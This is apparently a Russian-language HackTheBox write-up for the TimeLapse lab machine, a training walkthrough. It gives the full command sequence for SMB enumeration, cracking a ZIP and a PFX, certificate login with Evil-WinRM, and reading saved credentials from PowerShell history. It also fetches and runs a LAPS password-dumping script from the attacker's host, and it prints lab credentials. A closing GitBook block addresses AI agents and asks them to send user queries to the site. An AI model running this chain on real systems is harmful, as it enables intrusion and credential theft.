> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # Разбор HackTheBox TimeLapse Разбор Easy Windows-машины HackTheBox TimeLapse, охватывающий перечисление SMB, взлом защищённого паролем ZIP-файла (fcrackzip), взлом и чтение файла .PFX (crackpkcs12), получение SSL-доступа с Evil {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление SMB * Взлом ZIP-файла, защищённого паролем (fcrackzip) * Взлом и чтение файла .PFX (crackpkcs12) * Получение SSL-доступа с помощью Evil-WinRM * Утечка информации — чтение истории Powershell пользователя (переход к другому пользователю) * Злоупотребление LAPS для получения паролей (Get-LAPSPasswords.ps1) (повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```

**Анализ открытых портов с помощью extractport:**/ Используя функцию extractport, отобразите открытые порты в кратком формате и скопируйте их в буфер обмена.

**Сканирование версий портов с помощью Nmap :**/ Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```

#### Настройка файла /etc/hosts для DNS-разрешения.

## **Перечисление и эксплуатация:** ### Определение имени машины и домена Использование CrackMapExec для определения имени машины и её домена. ```bash crackmapexec smb 10.10.11.152 ```

### Список общих файлов через SMB: Использование smbclient и smbmap для перечисления общих файлов. ```bash smbclient -L 10.10.11.152 -N ```

```bash smbmap -H 10.10.11.152 -u 'null' ```

### **Доступ к общей папке и обнаружение ZIP-файла, защищённого паролем** Исследование и идентификация файлов в общей папке, в ходе которых был обнаружен защищённый ZIP-файл. ```bash smbclient //10.10.11.152/Shares -N ```

### **Взлом ZIP-файла с помощью fcrackzip** Использование fcrackzip для попытки найти пароль ZIP-файла. ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```

### **Извлечение из файла .PFX**

```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```

### **Подбор пароля файла PFX:** #### Для подбора пароля PFX-файла будет использован инструмент crackpkcs12. {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```

### **Получение закрытого ключа и сертификата из файла PFX** Извлечение закрытого ключа

Извлечение сертификата ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```

### **SSL-подключение с Evil-WinRM с использованием закрытого ключа и сертификата**

```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```

### **Получение первого флага** Получение первого флага, «user.txt»

## Повышение привилегий: **Список пользователей и привилегий DC с помощью net users и whoami /priv** Определение пользователей и привилегий на контроллере домена.

#### **Анализ групп пользователей и обнаружение членства пользователя «svc/ deploy» в группе «LAPS/ Readers»**

#### **Получение пароля пользователя «svc/ deploy» путём чтения истории PowerShell** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```

### **Проверка пароля с помощью CrackMapExec** Подтверждение корректности пароля, полученное с помощью CrackMapExec. ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```

### **Вход в Evil-WinRM с использованием учётных данных пользователя «svc/ deploy»** Подключение к удалённой системе с использованием учётных данных пользователя «svc/ deploy» через Evil-WinRM.

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

### **Использование Get-LAPSPasswords для извлечения паролей** {% embed url="" %} #### **Скачать скрипт Get-LAPSPasswords** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```

### **Выполнение скрипта и получение административных паролей**

### **Проверка административного пароля с помощью CrackMapExec** Подтверждение корректности пароля, полученное с помощью CrackMapExec для пользователя Administrator. ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```

### **Финальное подключение с Evil-WinRM с использованием учётных данных администратора** Финальное подключение к системе с административными учётными данными через Evil-WinRM. ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```

### **Получен финальный флаг :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.